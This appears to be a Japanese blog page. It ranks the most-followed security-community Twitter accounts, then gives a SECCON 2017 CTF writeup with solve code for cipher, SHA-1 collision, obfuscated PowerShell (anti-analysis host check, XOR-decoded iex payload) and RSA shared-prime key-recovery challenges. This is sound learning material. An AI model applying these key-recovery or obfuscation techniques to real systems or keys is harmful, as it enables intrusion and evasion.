1 | ockeghem | 徳丸 浩 | 214 |
2 | ntsuji | 辻 伸弘(nobuhiro tsuji) | 194 |
3 | piyokango | piyokango | 180 |
4 | togakushi | no root, nobody | 179 |
5 | hasegawayosuke | Yosuke HASEGAWA | 163 |
6 | tigerszk | とある診断員 | 159 |
7 | _ssmjp | #ssmjp info | 154 |
8 | sen_u | Sen UENO | 151 |
9 | kitagawa_takuji | 北河拓士 KITAGAWA,Takuji | 149 |
10 | takesako | Yoshinori (y0sh1) | 148 |
やはりお馴染みの方々が目立ちますね.一位の徳丸さんはなんと全体の2/3の方々にフォローされています.またtigerszkさんやtogakushiさんなどの#ssmjpの運営の方々や#ssmjpのインフォメーションアカウントもTop10に入っています.
次に11位から50位です.
Rank | ID | Name | Count |
---|---|---|---|
11 | ripjyr | まっちゃだいふく | 146 |
12 | jpcert | JPCERTコーディネーションセンター | 145 |
13 | MasafumiNegishi | Masafumi Negishi | 144 |
14 | lumin | lumin | 131 |
15 | OwaspJapan | OWASP Japan Chapter | 124 |
16 | lac_security | 情報セキュリティのラック | 124 |
17 | number3to4 | abend | 121 |
18 | YuhoKameda | ykame | 118 |
19 | ScanNetSecurity | ScanNetSecurity | 113 |
20 | kinugawamasato | Masato Kinugawa | 110 |
21 | takahoyo | ほよたか | 108 |
22 | jvnjp | JVN 脆弱性レポート | 106 |
23 | JVNiPedia | IPA (JVNiPedia) | 105 |
24 | 0x009AD6_810 | Neutral8✗9eR | 104 |
25 | Typhon666_death | Typhon✡MetalTonight | 104 |
26 | HiromitsuTakagi | Hiromitsu Takagi | 104 |
27 | you0708 | NAKATSURU You | 102 |
28 | nekoruri | Aki@C93金曜-東3キ43b | 102 |
29 | yousukezan | yousukezan | 102 |
30 | ymzkei5 | やまざきkei5 | 101 |
31 | cas_nisc | NISC内閣サイバーセキュリティセンター | 101 |
32 | yakumo3 | yakumo3 | 100 |
33 | JSECTEAM | マイクロソフト セキュリティチーム | 98 |
34 | def_jp | JPドメイン Web改竄速報 bot | 98 |
35 | enigma63 | えにぐま | 96 |
36 | matsuu | matsuu | 92 |
37 | avtokyo | avtokyo | 92 |
38 | IPAjp | IPA(情報処理推進機構) | 92 |
39 | secconctf | SECCON CTF | 91 |
40 | jnsa | JNSA | 91 |
41 | OrangeMorishita | Yasuhiro Morishita | 90 |
42 | yarai1978 | Yuu Arai | 90 |
43 | tetsutalow | 上原 哲太郎/Tetsu. Uehara | 90 |
44 | vulcain | ヴァルカン | 90 |
45 | okdt | riotaro okada | 89 |
46 | wakatono | wakatono(JK) | 89 |
47 | codeblue_jp | CODE BLUE | 88 |
48 | nisc_forecast | 内閣サイバー(注意・警戒情報) | 87 |
49 | ICATalerts | IPA (ICATalerts) | 87 |
50 | mimura1133 | みむら | 86 |
このあたりは個人のアカウントというよりはラックやマイクロソフトなどの法人,CODE BLUE,AVTOKYOなどのカンファレンス,「JPドメイン Web改竄速報 bot」などの情報アカウント,IPA,JPCERT,NISCなどが目立ちます.
ちなみに全体の20%以上がフォローしているアカウントは全部で109ありました.この界隈の方々がフォローするアカウントは割と固定化されていると感じました.
まとめ
今回は自分のフォローしたい方を決定するために,セキュリティ界隈のフォロー一覧を調べてみました.せっかくデータを取得したのでもうちょっと色々と調べてみたいと思います.あと今回の結果は割と偏りがあるので,他の方法でも集計してみたいです.
追記
続き書きました.
SECCON 2017 Online CTFのWriteupを書いてみる
他の方のWriteup読んでたら自分も書きたくなった. Writeupを書くのは初めてだし,そもそもこういったOnlineのCTFに参加すること自体,今まで1,2回くらいしかなかったので,ミスは大目に見てほしい.
7問+1を解いて1100ptで190位だった.チーム名は"ttt". もうちょっとちゃんとした名前にすればよかった.
Vigenere3d 100
i文字目の暗号文c[i]
を,変換テーブルtを用いてc[i]=t[k][m][n]
と表すとき,c[i]
は
c[i] = s[(k+m+n)%65] s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
のように表すことができる.p
を平文,k1
,k2
を鍵とすると,k=s.find(p[i]), m=s.find(k1[i]), n=s.find(k2[i])
なのでc[i]
は
c[i] = s[(s.find(p[i])+s.find(k1[i])+s.find(k2[i]))%65]
と書くことができる.
平文の最初の7文字は既知であり,k1
の鍵長は14文字,さらにk2=k1[::-1]
であることから以下の対応が得られる.
P = s[15] = s[18+s.find(k1[0])+s.find(k1[13]))%65] O = s[14] = s[4+s.find(k1[1])+s.find(k1[12]))%65] R = s[17] = s[2+s.find(k1[2])+s.find(k1[11]))%65] 4 = s[30] = s[2+s.find(k1[3])+s.find(k1[10]))%65] d = s[39] = s[14+s.find(k1[4])+s.find(k1[9]))%65] n = s[49] = s[13+s.find(k1[5])+s.find(k1[8]))%65] y = s[60] = s[63+s.find(k1[6])+s.find(k1[7]))%65]
さらに0<=i<=64
より
s.find(k1[0])+s.find(k1[13]) = 62 s.find(k1[1])+s.find(k1[12]) = 10 s.find(k1[2])+s.find(k1[11]) = 15 s.find(k1[3])+s.find(k1[10]) = 28 s.find(k1[4])+s.find(k1[9]) = 25 s.find(k1[5])+s.find(k1[8]) = 36 s.find(k1[6])+s.find(k1[7]) = 62
となる.
8文字目は
T = s[19] = s[(s.find(p[7])+s.find(k1[7])+s.find(k1[6]))%65]
ここにs.find(k1[7])+s.find(k1[6]) = 62
を代入して
s[19] = s[(s.find(p[7])+62)%65] 19 = (s.find(p[7]) + 62) % 65 s.find(p[7]) = 22 p[7] = "W"
同様にして9文字目以降も求めることができる. コード
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" cipher = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9" table = [62, 10, 15, 28, 25, 36, 62] table = table +table[::-1] p = "" for i, c in enumerate(cipher): p += s[(s.find(c) - table[i % len(table)]) % len(s)] print p
SECCON{Welc0me_to_SECCON_CTF_2017}
Run me! 100
フィボナッチ数列.コード書くのが面倒だったので計算サイトに投げた.
SECCON{65076140832331717667772761541872}
putchar music 100
映画のタイトルと聞いてスターウォーズかなぁと思い文字列を見てみると
###<f_YM\204g_YM\204g_Y_H #<f_YM\204g_YM\204g_Y_H #+-?[WKAMYJ/7 #+-?[WKgH #+-?[WKAMYJ/7hk\206\203tk\\YJAfkkk";for(i=0;t=1;i=(i+1)%
はじめの###
とかそのあとの繰り返し部分でああこれスターウォーズだと確信した.てか映画に疎いので他に世界的に知られている映画の曲はわからんです.
SECCON{STAR_WARS}
他の方のWriteupを見て実際に動かしてみた.soxというツールを使えばいいらしい.
gcc -Wall putchar_music.c -o putchar_music -lm ./putchar_music | sox -r 8000 -b 8 -c 1 -t raw -s - -d
聴けた.すごい.
SHA-1 is dead 100
適当にググるといい感じのツールがあった. 2つのpdfファイルのSHA-1を衝突させてくれるらしい.
これを用いて,一文字違いのtxtファイルを生成し,pdfに変換,上記のツールを使用してSHA-1が衝突するpdfを生成,ファイルサイズが2017KiBと2018KiBの間なら終了する雑なプログラムを書いた.range(3200,3300)
は大体の当たりをつけて書いた.
import subprocess import string import random import os.path def stringSplit(string, num): s = [] for i in range(len(string) // num): s.append(string[num*i:num*(i+1)]) r = len(string) % num if r: s.append(string[-r:]) return s def writeFile(filename, str): f = open(filename, 'w') for r in str: f.writelines(r+"\n") f.close() def makePdf(filename): cmd = "a2ps "+filename+".txt -o "+filename+".ps" subprocess.call( cmd.strip().split(" ") ) cmd = "ps2pdf "+filename+".ps" subprocess.call( cmd.strip().split(" ") ) for n in range(3200,3300): random_str = ''.join([random.choice(string.ascii_letters) for i in range(n)]) i = random.randint(1, n) random_str2 = random_str[:i]+"_"+random_str[i+1:] random_str = stringSplit(random_str, 50) writeFile("text1.txt", random_str) random_str2 = stringSplit(random_str2, 50) writeFile("text2.txt", random_str2) makePdf("text1") makePdf("text2") cmd = "python3 sha1collider/collide.py text1.pdf text2.pdf" subprocess.call( cmd.strip().split(" ") ) n = os.path.getsize("out-text1.pdf") print n if n > 1024*2017 and n < 1024*2018: break
SECCON{SHA-1_1995-2017?}
この資料によるとSHA-1はメッセージをブロックに分割して,ブロックを一つずつ読み込みながら内部状態を更新し,最終的なハッシュを出力しているようである.よってある時点で内部状態が一致し,かつその後のデータが同じであれば,後に何を追加してもハッシュは同じである.これとpdfの仕様をうまく利用してあらゆる(?)pdfにおいてハッシュの衝突が可能になる.
このことから出題者の意図としては上記の解法よりも,衝突しているpdfにデータを追加して目的のサイズに合わせる,という解法のほうが趣旨にあっていると思う.如何に自分がsha-1を分かっていなかったか.
Powerful_Shell 300
難読化されたPowerShellスクリプト.このままでは分からないのでコードを出力してみる.コードの出力は$ECCON+=
の処理の末尾に,以下を追加すれば良い.
"$ECCON"
$ErrorActionPreference = "ContinueSilently" [console]::BackgroundColor = "black";...-n;x;x; <# Host Check #> Write-Host -b 00 -f 15 Checking Host... Please wait... -n Try{ If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) { Write-Host "This host is too fresh!" Exit } }Catch{ Write-Host "Failed: No admin rights!" Exit } Write-Host "Check passed" $keytone=@{'a'=261.63} $pk='a' ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){ $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k } Write-Host -b 00 -f 15 "Play the secret melody." Write-Host -b 15 -f 00 -n ' ' ... Write-Host -b 15 -f 00 ' ' Write-Host $stage1=@();$f=""; While($stage1.length -lt 14){ $key=(Get-Host).ui.RawUI.ReadKey("NoEcho,IncludeKeyDown") $k=[String]$key.Character $f+=$k; If($keytone.Contains($k)){ $stage1+=[math]::floor($keytone[$k]) [console]::beep($keytone[$k],500) } } $secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349) If($secret.length -eq $stage1.length){ For ($i=1; $i -le $secret.length; $i++) { If($secret[$i] -ne $stage1[$i]){ Exit } } x "Correct. Move to the next stage." } $text=@" YkwRUxVXQ05DQ1N...BE2FxROE10VShZOTBFTF2E= "@ $plain=@() $byteString = [System.Convert]::FromBase64String($text) $xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } } }) iex([System.Text.Encoding]::ASCII.GetString($plain))
出力したコードを実行してみるが動かない.
Write-Host -b 00 -f 15 Checking Host... Please wait... -n Try{ If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) { Write-Host "This host is too fresh!" Exit } }Catch{ Write-Host "Failed: No admin rights!" Exit } Write-Host "Check passed"
この箇所を見る限り,Admin権限でないまたはEventID4624に関するログが1000件未満だと動作を停止するそう. しかしここの処理は後の処理に関係ないので,この箇所を削除したコードを直接実行する.
すると鍵盤のようなものが出てきた.対応するキーを叩くとちゃんと音が出る.
押したキーが以下の場合は次に行けるようである.
$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
440って「ラ」だよなぁと思ったのでググりながら音階の周波数を調べ,押すキーを求めた.
hhjhhjhjkjhjhf
ここを突破するとパスワードが求められた.該当のコードはbase64になっていたので,上と同様にしてコードを出力する.
${}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
すごい.
こっから全然わからんなーと思いつつ色々やったところ,Get-Variable
で変数一覧を表示した時に以下が出てきた.
Name Value ---- ----- " [CHar] $ .\powerfullshell.ps1 & 8 ( 6 ) 7 . 3 ; iex ? True @ 2 [ 4 ] 5 ^ .\powerfullshell.ps1 | 9 + 1 = 0
ここから${}
の中は上記の変換をすれば良いと考え,変換した.
解読してみたところ,If($ECCON -eq 'P0wEr$H311')
みたいな文字列と,Write-Host "SECCON{$ECCON}"
みたいな文字列を見つけたので,これをフラグとして出したら通った.
SECCON{P0wEr$H311}
Log search 100
よくわからず.とりあえず"flag"という文字列とマイナス検索を駆使して/flag-xxx
となっているものでResponseが200のものを見つけたのでアクセスしたらフラグを見つけた.
SECCON{N0SQL_1njection_for_Elasticsearch!}
他の方のWriteupを見る限り,どうやらElastic SearchのURIサーチが使えるそう.
+request:"/flag" +response:200
Ps and Qs 200
某Crypto Challenges List(https://pastebin.com/cSfZW2yX)にのってたRSALOTと同じ解法で解けた.素数使いまわしているとgcdを求めることで素数の推定ができるよって問題.
公開鍵のコンポーネントを抽出し
openssl rsa -pubin -in pub1.pub -text -noout
公約数を求めるコードを書き
import math n1 = int(open('pub1.pub.mod.txt', 'r').read().strip(), 16) n2 = int(open('pub2.pub.mod.txt', 'r').read().strip(), 16) cp = math.gcd(n1, n2) if cp != 1: q1 = n1 // cp q2 = n2 // cp print ('q1: ', q1) print ('q2: ', q2)
python rsatool/rsatool.py -f PEM -o key1 -p 28491351268021265...2684652311433029 -q 29756285957217824...9605071066540057
復号する.
openssl rsautl -decrypt -inkey key1 -in cipher
SECCON{1234567890ABCDEF}
RSAは鍵生成時の素数の選び方などをミスると簡単に秘密鍵が推測できてしまうことがある.(参考資料) しかし実際に運用でそういったことって起こるのだろうか.
Thank you for playing! Thank you! 100
初めてのSECCON CTFにしては頑張ったほうだと思う.ただ実際にWriteupを書いてみるとほとんど真面目に解いてないことがわかったのでちゃんと復習したい.来年は高い得点の問題を解くこととpwn問を最低一問解くことを目標にしたい.あともっといろんなCTFに参加したいと思う.
SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}